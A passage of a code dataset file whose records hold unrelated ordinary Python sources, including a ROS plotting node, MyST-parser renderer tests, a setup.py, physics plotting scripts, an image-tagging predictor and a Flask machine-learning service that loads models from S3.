get(\"/y_min\",-2.2)\n\t\tself.x_max = get(\"/x_max\",2)\n\t\tself.y_max = get(\"/y_max\",1.7)\n\t\tself.d_worry = get(\"/delta_worry\",0.5)\n\n\t\tself.r = get(\"/radius_circle_proj\",0.5)\n\n\t\trospy.init_node('projector_node', anonymous=True)\n\n\t\tself.colors = ['b', 'r', 'g']\n\n\t\tself.cam = {}\n\t\tself.lmks = {}\n\t\tself.index = {}\n\n\t\ti =0\n\t\tfor ns in self.name_agents:\n\t\t\tself.cam[ns] = Camera()\n\t\t\tself.lmks[ns] = Landmark_list([])\n\t\t\tself.index[ns] = i\n\t\t\ti += 1\n\t\t\t# plot, = ax.plot([], [], lw=2, label = \"position \" + ns, color = \"k\")\n\t\t\t# self.pos_plot_list[ns] = plot\n\t\t\t# plot, = ax.plot([], [], lw=2, label = \"orientation \" + ns , color = \"k\")\n\t\t\t# # arrow(0, 0, 0.5, 0.5, head_width=0.05, head_length=0.1, fc='k', ec='k')\n\t\t\t# # plot, = ax.arrow([], [], [], [], )\n\t\t\t# self.v_plot_list[ns] = plot\n\t\t\tif ns == \"\":\n\t\t\t\trospy.Subscriber(\"/camera_pose\", camera_pose, lambda data,ns = ns: self.camera_pose_callback(data,ns))\n\t\t\telse:\n\t\t\t\trospy.Subscriber(\"/\" + ns + \"/camera_pose\", camera_pose, lambda data,ns = ns: self.camera_pose_callback(data,ns))\n\n\t\trospy.Service(\"/load_lmks_projector\", LandmarksTrade, self.load_lmks)\t\n\n\n\n\t\t#plt.legend(self.plot_list.values())\n\t\t#self.ani = animation.FuncAnimation(self.figure, self.redraw, int(self.frequency), blit=False)\n\n\tdef camera_pose_callback(self, data, ns):\n\t\tself.cam[ns].new_pose(data)\n\n\tdef load_lmks(self,data):\n\t\t# rospy.logwarn(data.name_agent + str(id(self.lmks[data.name_agent])))\n\t\tself.lmks[data.name_agent] = Landmark_list([])\n\t\tself.lmks[data.name_agent].from_lists(q = data.q, u = data.u)\n\t\t# rospy.logwarn(\"Landmarks loaded projector\")\n\t\t# rospy.logwarn(str(data.name_agent))\n\t\t# rospy.logwarn(data.name_agent + str(id(self.lmks[data.name_agent])))\n\t\treturn {}\n\n\t# def redraw(self,data=None):\n\t# \tangle = numpy.linspace(-pi, pi, num=100)\n\t# \tfor ns in self.name_agents:\n\t# \t\tp = self.cam[ns].position()\n\t# \t\tx = [p[0] + self.r * cos(a) for a in angle]\n\t# \t\ty = [p[1] + self.r * sin(a) for a in angle]\n\t# \t\tself.pos_plot_list[ns].set_data(x,y)\n\t# \t\tv = self.cam[ns].orientation_as_vector()\n\t# \t\tself.v_plot_list[ns].set_data([p[0],p[0]+v[0]],[p[1],p[1]+v[1]])\n\t# \treturn self.pos_plot_list, self.v_plot_list\n\n\t# def run(self):\n\t# \tplt.show()\n\tdef save_to_proj(self):\n\t\tax = plt.gca()\n\t\tplt.axis('off')\n\t\tr = 4./3./1.04\n\t\tly = 6.50\n\t\tlx = ly*r\n\t\tcy = 0.75\n\t\tcx = 0.6\n\t\tax.set_xlim([cx-lx/2.,cx+lx/2.])\n\t\tax.set_ylim([cy-ly/2.,cy+ly/2.])\n\t\ttransform = Affine2D().rotate_deg(105)\n\t\tax.set_transform(transform)\n\t\tplt.savefig(\"/home/giorgiocorra/videoproj/videoproj.png\",bbox_inches='tight',dpi=120)\n\n\n\tdef save_plot(self):\n\t\tpos_plot_list = {}\n\t\tv_plot_list = {}\n\t\tlmk_plot_list = {}\n\n\t\tplt.clf()\n\t\tplt.cla()\n\n\t\t# # Cage\n\t\t# plt.axhspan(ymin = self.y_min, ymax = self.y_max, xmin = self.x_min, xmax = self.x_max, lw = 4, fc = 'none')\n\t\t# plt.axhspan(ymin = self.y_min + self.d_worry, ymax = self.y_max - self.d_worry, xmin = self.x_min + self.d_worry, xmax = self.x_max - self.d_worry, lw = 4, ls = 'dashed', fc = 'none')\n\t\t\n\t\t# Quads and lmks\n\t\tax = plt.gca()\n\t\tfigure = plt.gcf()\n\n\t\trect = Rectangle(xy=(self.x_min,self.y_min), width = self.x_max - self.x_min, height = self.y_max - self.y_min, fill = False, angle = 0.0, lw = 4)\n\t\tax.add_patch(rect)\n\t\trect = Rectangle(xy=(self.x_min + self.d_worry,self.y_min + self.d_worry), width = (self.x_max - self.d_worry) - (self.x_min + self.d_worry), height = (self.y_max - self.d_worry) - (self.y_min + self.d_worry), fill = False, angle = 0.0, lw = 4, ls = 'dashed')\n\t\tax.add_patch(rect)\n\t\tangle = numpy.linspace(-pi, pi, num=100)\n\t\tfor ns in self.name_agents:\n\t\t\tcol = self.colors[self.index[ns]]\n\t\t\t#rospy.logwarn(\"Color: \" + str(self.index[ns]))\n\t\t\tp = self.cam[ns].position()\n\t\t\tx = [p[0] + self.r * cos(a) for a in angle]\n\t\t\ty = [p[1] + self.r * sin(a) for a in angle]\n\t\t\tplot, = ax.plot([], [], lw=4, color = col)\n\t\t\tpos_plot_list[ns] = plot\n\t\t\tpos_plot_list[ns].set_data(x,y)\n\t\t\tv = self.cam[ns].orientation_as_vector()\n\t\t\tv_plot_list[ns] = ax.arrow(p[0], p[1], v[0], v[1], head_width=0.1, head_length=0.2, fc = col, ec= col, lw = 4)\n\t\t\tvis_set = self.lmks[ns].visible_set(self.cam[ns],self.D_OPT)\n\t\t\tnot_vis_set = self.lmks[ns].not_visible_set(self.cam[ns],self.D_OPT)\n\t\t\t#rospy.logwarn(str(not_vis_set))\n\t\t\tlmk_plot_list[ns] = []\n\t\t\tfor lmk in vis_set.lst:\n\t\t\t\tq = lmk.q\n\t\t\t\tu = lmk.u\n\t\t\t\tlmk_plot_list[ns].append(ax.arrow(q[0], q[1], 0.3*u[0], 0.3 * u[1], lw = 2,head_width=0.2, head_length=0.3, fc = col, ec= col, fill=True))\n\t\t\tfor lmk in not_vis_set.lst:\n\t\t\t\tq = lmk.q\n\t\t\t\tu = lmk.u\n\t\t\t\tlmk_plot_list[ns].append(ax.arrow(q[0], q[1], 0.3*u[0], 0.3 * u[1], lw=2, head_width=0.2, head_length=0.3, fc = 'w', ec= col, fill=True))\n\n\n\t\tself.save_to_proj()\n\n\nif __name__ == '__main__':\n\tplot_node = ProjectorPlotNode()\n\trate = rospy.Rate(4)\n\twhile not rospy.is_shutdown():\n\t\tplot_node.save_plot()\n\t\trate.sleep()\n\t# plot_node.run()\n\n\n","sub_path":"quad_control/scripts/projector_node.py","file_name":"projector_node.py","file_ext":"py","file_size_in_byte":5669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"399482380","text":"import cv2\r\non = cv2.imread('on.jpg')\r\noff = cv2.imread('off.jpg')\r\nlock = cv2.imread('lock.jpg')\r\n\r\nglobal p\r\nF=0\r\nT=1\r\np=F\r\ncv2.imshow('result',on)\r\ndef click(event,x,y,flags,param):\r\n if event==cv2.EVENT_LBUTTONDOWN:\r\n print('mouse coords:',x,y) \r\n if 0\\n \\n abc\\n'\n )\n\n\ndef test_parse_text():\n document = parse_text(\n \"abc\", \"sphinx\", load_sphinx_env=True, sphinx_conf={\"project\": \"MyST Parser\"}\n )\n assert document.pformat() == (\n '\\n \\n abc\\n'\n )\n\n\ndef test_strong(renderer_mock):\n render_token(renderer_mock, \"Strong\")\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n \n \n \"\"\"\n )\n\n\ndef test_emphasis(renderer_mock):\n render_token(renderer_mock, \"Emphasis\")\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n \n \n \"\"\"\n )\n\n\ndef test_raw_text(renderer_mock):\n render_token(renderer_mock, \"RawText\", children=False, content=\"john & jane\")\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n \n john & jane\n \"\"\"\n )\n\n\ndef test_inline_code(renderer_mock):\n renderer_mock.render(tokenize_span(\"`foo`\")[0])\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n \n \n foo\n \"\"\"\n )\n\n\ndef test_paragraph(renderer_mock):\n render_token(renderer_mock, \"Paragraph\", position=(0, 1))\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n \n \n \"\"\"\n )\n\n\ndef test_heading(renderer_mock):\n render_token(renderer_mock, \"Heading\", level=1, position=(0, 0))\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n \n

    \n \n \"\"\"\n )\n\n\ndef test_block_code(renderer_mock):\n\n renderer_mock.render(tokenize_main([\"```sh\\n\", \"foo\\n\", \"```\\n\"])[0])\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <literal_block language=\"sh\" xml:space=\"preserve\">\n foo\n \"\"\"\n )\n\n\ndef test_block_code_no_language(renderer_mock):\n\n renderer_mock.render(tokenize_main([\"```\\n\", \"foo\\n\", \"```\\n\"])[0])\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <literal_block language=\"\" xml:space=\"preserve\">\n foo\n \"\"\"\n )\n\n\ndef test_image(renderer_mock):\n render_token(renderer_mock, \"Image\", src=\"src\", title=\"title\")\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <image alt=\"\" uri=\"src\">\n \"\"\"\n )\n\n\ndef test_image_with_alt(renderer_mock):\n renderer_mock.render(tokenize_main([r\"![alt](path/to/image.jpeg)\"])[0])\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <paragraph>\n <image alt=\"alt\" uri=\"path/to/image.jpeg\">\n \"\"\"\n )\n\n\ndef test_quote(renderer_mock):\n render_token(renderer_mock, \"Quote\", position=(0, 0))\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <block_quote>\n \"\"\"\n )\n\n\ndef test_bullet_list(renderer_mock):\n render_token(renderer_mock, \"List\", start_at=None)\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <bullet_list>\n \"\"\"\n )\n\n\ndef test_enumerated_list(renderer_mock):\n render_token(renderer_mock, \"List\", start_at=1)\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <enumerated_list>\n \"\"\"\n )\n\n\ndef test_list_item(renderer_mock):\n render_token(renderer_mock, \"ListItem\")\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <list_item>\n \"\"\"\n )\n\n\ndef test_math(renderer_mock):\n render_token(renderer_mock, \"Math\", content=\"$a$\")\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <math>\n a\n \"\"\"\n )\n\n\ndef test_math_block(renderer_mock):\n render_token(renderer_mock, \"Math\", content=\"$$a$$\")\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <math_block nowrap=\"False\" number=\"True\" xml:space=\"preserve\">\n a\n \"\"\"\n )\n\n\ndef test_role_code(renderer_mock):\n renderer_mock.render(tokenize_span(\"{code}`` a=1{`} ``\")[0])\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <literal classes=\"code\">\n a=1{`}\n \"\"\"\n )\n\n\ndef test_target_block(renderer_mock):\n renderer_mock.render(tokenize_main([\"(target)=\"])[0])\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <target ids=\"target\" names=\"target\">\n \"\"\"\n )\n\n\ndef test_target_inline(renderer_mock):\n renderer_mock.render(tokenize_main([\"A b(target)=\"])[0])\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <paragraph>\n A b\n <target ids=\"target\" names=\"target\">\n \"\"\"\n )\n\n\ndef test_cross_referencing(sphinx_renderer, file_regression):\n string = dedent(\n \"\"\"\\\n (target)=\n\n Title\n -----\n\n [alt1](target)\n\n [](target2)\n\n [alt2](https://www.google.com)\n\n [alt3](#target3)\n \"\"\"\n )\n sphinx_renderer.render(Document.read(string))\n file_regression.check(sphinx_renderer.document.pformat(), extension=\".xml\")\n\n\ndef test_comment(renderer_mock):\n renderer_mock.render(Document.read([\"line 1\", r\"% a comment\", \"line 2\"]))\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <paragraph>\n line 1\n <comment xml:space=\"preserve\">\n a comment\n <paragraph>\n line 2\n \"\"\"\n )\n\n\ndef test_block_break(renderer_mock):\n renderer_mock.render(tokenize_main([\"+++ string\"])[0])\n assert renderer_mock.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <comment classes=\"block_break\" xml:space=\"preserve\">\n string\n \"\"\"\n )\n\n\ndef test_link_reference(renderer):\n renderer.render(\n Document.read(\n [\"[name][key]\", \"\", '[key]: https://www.google.com \"a title\"', \"\"]\n )\n )\n assert renderer.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <paragraph>\n <reference refuri=\"https://www.google.com\" title=\"a title\">\n name\n \"\"\"\n )\n\n\ndef test_link_reference_no_key(renderer):\n renderer.render(\n Document.read([\"[name]\", \"\", '[name]: https://www.google.com \"a title\"', \"\"])\n )\n assert renderer.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <paragraph>\n <reference refuri=\"https://www.google.com\" title=\"a title\">\n name\n \"\"\"\n )\n\n\ndef test_block_quotes(renderer):\n renderer.render(\n Document.read(\n dedent(\n \"\"\"\\\n ```{epigraph}\n a b*c*\n\n -- a**b**\n \"\"\"\n )\n )\n )\n assert renderer.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <block_quote classes=\"epigraph\">\n <paragraph>\n a b\n <emphasis>\n c\n <attribution>\n a\n <strong>\n b\n \"\"\"\n )\n\n\ndef test_link_def_in_directive(renderer):\n renderer.render(\n Document.read(\n dedent(\n \"\"\"\\\n ```{note}\n [a]\n ```\n\n [a]: link\n \"\"\"\n )\n )\n )\n assert renderer.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <note>\n <paragraph>\n <pending_xref refdomain=\"True\" refexplicit=\"True\" reftarget=\"link\" reftype=\"any\" refwarn=\"True\">\n <literal classes=\"xref any\">\n a\n \"\"\" # noqa: E501\n )\n\n\ndef test_link_def_in_directive_nested(renderer, file_regression):\n # TODO document or 'fix' the fact that [ref2] here isn't resolved\n renderer.render(\n Document.read(\n dedent(\n \"\"\"\\\n ```{note}\n [ref1]: link\n ```\n\n ```{note}\n [ref1]\n [ref2]\n ```\n\n ```{note}\n [ref2]: link\n ```\n \"\"\"\n )\n )\n )\n file_regression.check(renderer.document.pformat(), extension=\".xml\")\n\n\ndef test_footnotes(renderer):\n renderer.render(\n Document.read(\n dedent(\n \"\"\"\\\n [^a]\n\n [^a]: footnote*text*\n \"\"\"\n )\n )\n )\n print(renderer.document.pformat())\n assert renderer.document.pformat() == dedent(\n \"\"\"\\\n <document source=\"notset\">\n <paragraph>\n <footnote_reference auto=\"1\" ids=\"id1\" refname=\"a\">\n <transition>\n <footnote auto=\"1\" ids=\"a\" names=\"a\">\n <paragraph>\n footnote\n <emphasis>\n text\n \"\"\"\n )\n\n\ndef test_full_run(sphinx_renderer, file_regression):\n string = dedent(\n \"\"\"\\\n ---\n a: 1\n ---\n\n (target)=\n # header 1\n ## sub header 1\n\n a *b* **c** `abc` \\\\*\n\n ## sub header 2\n\n x y [a](http://www.xyz.com) z\n\n ---\n\n # header 2\n\n ```::python {a=1}\n a = 1\n ```\n\n > abc\n\n - a\n - b\n - c\n\n 1. a\n 2. b\n 1. c\n\n {ref}`target`\n\n \"\"\"\n )\n\n sphinx_renderer.render(Document.read(string))\n file_regression.check(sphinx_renderer.document.pformat(), extension=\".xml\")\n","sub_path":"tests/test_renderers/test_docutils.py","file_name":"test_docutils.py","file_ext":"py","file_size_in_byte":11007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"480636379","text":"from setuptools import setup, find_packages\nimport sys, os\n\nhere = os.path.abspath(os.path.dirname(__file__))\nREADME = open(os.path.join(here, 'README.rst')).read()\nNEWS = open(os.path.join(here, 'NEWS.txt')).read()\n\n\nversion = '0.2.10'\n\ninstall_requires = [\n 'Django',\n 'django-taggit',\n 'django-templatetag-sugar',\n 'easy_thumbnails', \n 'pil'\n]\n\n\nsetup(name='django-photos',\n version=version,\n description=\"This is a simple photo-app for django.\",\n long_description=README + '\\n\\n' + NEWS,\n classifiers=[\n \"Development Status :: 3 - Alpha\",\n \"Environment :: Web Environment\",\n \"Framework :: Django\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: BSD License\",\n \"Natural Language :: English\",\n \"Programming Language :: Python\",\n \"Topic :: Internet :: WWW/HTTP :: Dynamic Content\",\n \n ],\n keywords='django photo gallery',\n author='Julian Moritz',\n author_email='jumo@gmx.de',\n url='http://www.bitbucket.org/feuervogel/django-photos',\n license='BSD',\n packages=find_packages('src'),\n package_dir = {'': 'src'},include_package_data=True,\n zip_safe=False,\n install_requires=install_requires,\n entry_points={\n 'console_scripts':\n ['django-photos=djangophotos:main']\n },\n test_suite='runtests.runtests'\n)\n","sub_path":"pypi_install_script/django-photos-0.2.10.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"406264541","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nFILE1=\"foftnew.dat\"\n#FILE1=\"temperature.dat\"\n\nT,E,M,CV,X=np.loadtxt(FILE1,usecols=(0,1,2,3,4),unpack=True,skiprows=1)\n\n\nfig1=plt.figure(1)\nax1=fig1.add_subplot(111)\nx1,x2,y1,y2=plt.axis()\nax1.set_xlabel('T')\nax1.set_ylabel('E')\nplt.title('Energy as a function of Temperature')\nplt.plot(T,E)\nplt.show()\nfig1.savefig(\"EvsT.png\",format='png')\n\n\n\nfig1=plt.figure(1)\nax1=fig1.add_subplot(111)\nx1,x2,y1,y2=plt.axis()\nplt.axis((0.5,5,-120,2600))\nax1.set_xlabel('T')\nax1.set_ylabel('M')\nplt.title('Magnetization as a function of Temperature')\nplt.plot(T,M)\nplt.show()\nfig1.savefig(\"MvsT.png\",format='png')\n\n\nfig1=plt.figure(1)\nax1=fig1.add_subplot(111)\nx1,x2,y1,y2=plt.axis()\nax1.set_xlabel('C_v')\nax1.set_ylabel('E')\nplt.title('Heat Capacity as a function of Temperature')\nplt.plot(T,CV)\nplt.show()\nfig1.savefig(\"CVvsT.png\",format='png')\n\n\n\nfig1=plt.figure(1)\nax1=fig1.add_subplot(111)\nx1,x2,y1,y2=plt.axis()\nplt.axis((0.5,5,-250,5500))\nax1.set_xlabel('\\Chi')\nax1.set_ylabel('E')\nplt.title('Magnetic Suceptibility as a function of Temperature')\nplt.plot(T,X)\nplt.show()\nfig1.savefig(\"XvsT.png\",format='png')\n","sub_path":"IsingModel/foft.py","file_name":"foft.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"502513254","text":"total = 0\ncount = 0\naverage = 0\n\nwhile True:\n try:\n inp = input(\"Enter a number: \")\n if inp == \"done\":\n break\n value = float(inp)\n total = value + total\n count = count + 1\n average = total / count\n except ValueError:\n print(\"Invalid input.\")\n","sub_path":"src/excercise2.py","file_name":"excercise2.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"392854879","text":"import typing\n\n\n# A block identifier may be a byte array of 32 bytes,\n# a hexadecimal string of 64 characters or a positive integer. \nBlockIdentifer = typing.Union[bytes, str, int]\n\n# An optional block identifier.\nOptionalBlockIdentifer = typing.Union[None, BlockIdentifer]\n\n# Root hash of a node's global state.\nStateRootHash = typing.NewType(\"32 byte array calculated by a node when applying block execution effects over global state.\", bytes)\n\n# An optional state root hash.\nOptionalStateRootHash = typing.Union[None, StateRootHash]\n","sub_path":"pycspr/types/chain.py","file_name":"chain.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"83398261","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport niconico_chainer_models\nimport pickle\nimport argparse\nimport urllib.request\nimport numpy\nimport PIL.Image\nimport chainer\n\ndef fix_b_to_str(model) :\n\tif hasattr(model, \"__dict__\"):\n\t\tlist = model.__dict__.copy()\n\t\tfor d in list:\n\t\t\td_str = d.decode('utf8')\n\t\t\tmodel.__dict__[d_str] = model.__dict__[d]\n\t\t\tdel model.__dict__[d]\n\t\t\tfix_b_to_str(model.__dict__[d_str])\n\ndef fetch_image(url):\n response = urllib.request.urlopen(url)\n image = numpy.asarray(PIL.Image.open(response).resize((224,224)), dtype=numpy.float32)\n if (not len(image.shape)==3): # not RGB\n image = numpy.dstack((image, image, image))\n if (image.shape[2]==4): # RGBA\n image = image[:,:,:3]\n return image\n\ndef to_bgr(image):\n return image[:,:,[2,1,0]]\n return numpy.roll(image, 1, axis=-1)\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"model\")\nparser.add_argument(\"mean\")\nparser.add_argument(\"tags\")\nparser.add_argument(\"image_url\")\nparser.add_argument(\"--gpu\", type=int, default=-1)\nargs = parser.parse_args()\n\nif args.gpu >= 0:\n chainer.cuda.get_device(args.gpu).use()\n xp = chainer.cuda.cupy\nelse:\n xp = numpy\n\nf = open(args.model, 'rb')\nmodel = pickle.load(f, fix_imports=True, encoding='bytes')\nfix_b_to_str(model)\n\nif args.gpu >= 0:\n model.to_gpu()\n\nmean_image = numpy.load(open(args.mean, 'rb'), encoding='bytes')\ntags = [line.rstrip() for line in open(args.tags, encoding='utf-8')]\ntag_dict = dict((i,tag) for i, tag in enumerate(tags))\n\nimg_preprocessed = (to_bgr(fetch_image(args.image_url)) - mean_image).transpose((2, 0, 1))\n\npredicted = model.predict(xp.array([img_preprocessed]))[0]\n#predicted = model.predict_all(xp.array([img_preprocessed]))\n\ntop_10 = sorted(enumerate(predicted), key=lambda index_value: -index_value[1])[:30]\ntop_10_tag = [\n (tag_dict[key], float(value))\n for key, value in top_10 if value > 0\n]\nfor tag, score in top_10_tag:\n print(\"tag: {} / score: {}\".format(tag, score))\n","sub_path":"predict_tag.py","file_name":"predict_tag.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"11824391","text":"from datetime import datetime\n\n\ngagarin = 'April 12, 1961 2:07 local time' # Asia/Almaty\n\n\ndt = datetime.strptime(gagarin, '%B %d, %Y %H:%M local time')\nformat = dt.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n\nprint(f'{format}')\n\n","sub_path":"date-and-time/solution/datetime_to_iso.py","file_name":"datetime_to_iso.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"248382600","text":"# W210 Police Deployment\n# MACHINE LEARNING Microservices\n\nimport numpy as np\nimport pandas as pd\nimport subprocess\nimport shlex\nimport threading\nimport s3fs\nimport tempfile\nimport pickle\nimport joblib\nimport json\nimport itertools\nimport configparser\nfrom datetime import datetime\nfrom scipy.stats import t\nfrom collections import defaultdict\nfrom flask import Flask\nfrom flask_restful import Resource, Api, reqparse\nfrom flask_cors import CORS, cross_origin\nfrom flask_sqlalchemy import SQLAlchemy\n\n# Calculation of prediction Fairness\n# Uses a difference of means test as described in https://link.springer.com/article/10.1007%2Fs10618-017-0506-1\ndef calculateFairness(communities, predictions):\n comm_count = {0: 0, 1: 0}\n predicted_count = {0: 0, 1: 0}\n\n for comm in predictions:\n comm_code = int(comm)\n if (communities[comm_code]['ethnicity'] == 0) or (communities[comm_code]['ethnicity'] == 1):\n comm_count[1] += 1\n predicted_count[1] += predictions[comm]\n else:\n comm_count[0] += 1\n predicted_count[0] += predictions[comm]\n\n df = comm_count[0]+comm_count[1]-2\n\n if (predicted_count[0] == 0) and (predicted_count[1] == 0):\n return 1\n\n means = {0: predicted_count[0]/comm_count[0], 1: predicted_count[1]/comm_count[1]}\n\n variances = {0: 0, 1: 0}\n\n for comm in predictions:\n comm_code = int(comm)\n if (communities[comm_code]['ethnicity'] == 0) or (communities[comm_code]['ethnicity'] == 1):\n variances[1] += (predictions[comm]-means[1])**2\n else:\n variances[0] += (predictions[comm]-means[0])**2\n\n variances = {0: variances[0]/(comm_count[0]-1), 1: variances[1]/(comm_count[1]-1)}\n\n sigma = ((((comm_count[0]-1)*(variances[0]**2))+((comm_count[1]-1)*(variances[1]**2)))/(comm_count[0]+comm_count[1]-2))**0.5\n\n t_stat = (means[0]-means[1])/(sigma*(((1/comm_count[0])+(1/comm_count[1]))**0.5))\n\n fairness = (1 - t.cdf(abs(t_stat), df)) * 2\n fairness = fairness*100\n\n return fairness\n\ndef load_keras_model(modelname):\n from keras.models import model_from_json\n from keras.models import Sequential\n from keras.layers import Dense\n from keras import backend as K\n from keras.wrappers.scikit_learn import KerasRegressor\n import tensorflow as tf\n s3fs.S3FileSystem.read_timeout = 5184000 # one day\n s3fs.S3FileSystem.connect_timeout = 5184000 # one day\n s3 = s3fs.S3FileSystem(anon=False)\n K.clear_session()\n struct_file = 'w210policedata/models/'+modelname+'/keras_struct.json'\n weights_file = 'w210policedata/models/'+modelname+'/keras_weights.h5'\n features_file = 'w210policedata/models/'+modelname+'/keras_features.pickle'\n scaler_file = 'w210policedata/models/'+modelname+'/keras_scaler.pickle'\n modelinfo_file = 'w210policedata/models/'+modelname+'/modelinfo.pickle'\n with s3.open(struct_file, \"r\") as json_file:\n model = model_from_json(json_file.read())\n json_file.close()\n temp_file = tempfile.NamedTemporaryFile(delete=True)\n s3.get(weights_file,temp_file.name)\n model.load_weights(temp_file.name)\n graph = tf.get_default_graph()\n temp_file.close()\n model.compile(loss='mean_squared_error', optimizer='adam', metrics=['mean_absolute_error'])\n with s3.open(features_file, \"rb\") as pickle_file:\n model_features = pickle.load(pickle_file)\n pickle_file.close()\n model_type = 'keras'\n with s3.open(scaler_file, \"rb\") as pickle_file:\n model_scalers = pickle.load(pickle_file)\n pickle_file.close()\n with s3.open(modelinfo_file, \"rb\") as pickle_file:\n model_info = pickle.load(pickle_file)\n pickle_file.close()\n model_name = model_info['modelname']\n return model,model_name,model_features,graph,model_type,model_scalers,model_info\n\ndef load_xgb_model(modelname):\n from xgboost import XGBRegressor\n s3fs.S3FileSystem.read_timeout = 5184000 # one day\n s3fs.S3FileSystem.connect_timeout = 5184000 # one day\n s3 = s3fs.S3FileSystem(anon=False)\n model_file = 'w210policedata/models/'+modelname+'/xgbregressor_model.joblib'\n features_file = 'w210policedata/models/'+modelname+'/xgbregressor_features.pickle'\n scaler_file = 'w210policedata/models/'+modelname+'/xgbregressor_scaler.pickle'\n modelinfo_file = 'w210policedata/models/'+modelname+'/modelinfo.pickle'\n temp_file = tempfile.NamedTemporaryFile(delete=True)\n s3.get(model_file,temp_file.name)\n model = joblib.load(temp_file.name)\n graph = None\n temp_file.close()\n with s3.open(features_file, \"rb\") as pickle_file:\n model_features = pickle.load(pickle_file)\n pickle_file.close()\n #model.get_booster().feature_names = model_features\n model_type = 'xgboost'\n with s3.open(scaler_file, \"rb\") as pickle_file:\n model_scalers = pickle.load(pickle_file)\n pickle_file.close()\n with s3.open(modelinfo_file, \"rb\") as pickle_file:\n model_info = pickle.load(pickle_file)\n pickle_file.close()\n model_name = model_info['modelname']\n return model,model_name,model_features,graph,model_type,model_scalers,model_info\n\ndef load_model(modelname):\n modelinfo_file = 'w210policedata/models/'+modelname+'/modelinfo.pickle'\n with s3.open(modelinfo_file, \"rb\") as pickle_file:\n model_info = pickle.load(pickle_file)\n pickle_file.close()\n if model_info['type'] == 'keras':\n return load_keras_model(modelname)\n else:\n return load_xgb_model(modelname)\n\n### Load Flask configuration file\ns3fs.S3FileSystem.read_timeout = 5184000 # one day\ns3fs.S3FileSystem.connect_timeout = 5184000 # one day\ns3 = s3fs.S3FileSystem(anon=False)\nconfig_file = 'w210policedata/config/config.py'\ntry:\n s3.get(config_file,'config.py')\nexcept:\n print('Failed to load application configuration file!')\n\napplication = Flask(__name__)\napi = Api(application)\napplication.config.from_pyfile('config.py')\ndb = SQLAlchemy(application)\n\napplication.config['CORS_ENABLED'] = True\nCORS(application)\n\n## Define the DB model\nclass Community(db.Model):\n __tablename__ = 'community'\n id = db.Column(db.Integer, primary_key=True)\n code = db.Column(db.Integer)\n name = db.Column(db.String(255))\n ethnicity = db.Column(db.Integer)\n\n def __str__(self):\n return self.name\n\nrunningProcess = None\nprocessStdout = []\n\nmodel = None\nmodel_name = None\nmodel_features = None\nmodel_type = None\ngraph = None\nmodel_scalers = None\nmodel_info = None\navailable_features = None\nfeatures_data = None\n\n### Load default model configuration from configuration file\ns3fs.S3FileSystem.read_timeout = 5184000 # one day\ns3fs.S3FileSystem.connect_timeout = 5184000 # one day\ns3 = s3fs.S3FileSystem(anon=False)\nconfig_file = 'w210policedata/config/ml.ini'\ntry:\n temp_file = tempfile.NamedTemporaryFile(delete=True)\n s3.get(config_file,temp_file.name)\n config = configparser.ConfigParser()\n config.read(temp_file.name)\nexcept:\n print('Failed to load configuration file.')\n print('Creating new file with default values.')\n config = configparser.ConfigParser()\n config['GENERAL'] = {'DefaultModel': 'keras'}\n temp_file = tempfile.NamedTemporaryFile(delete=True)\n with open(temp_file.name, 'w') as confs:\n config.write(confs)\n s3.put(temp_file.name,config_file)\n temp_file.close()\ndefault_model = 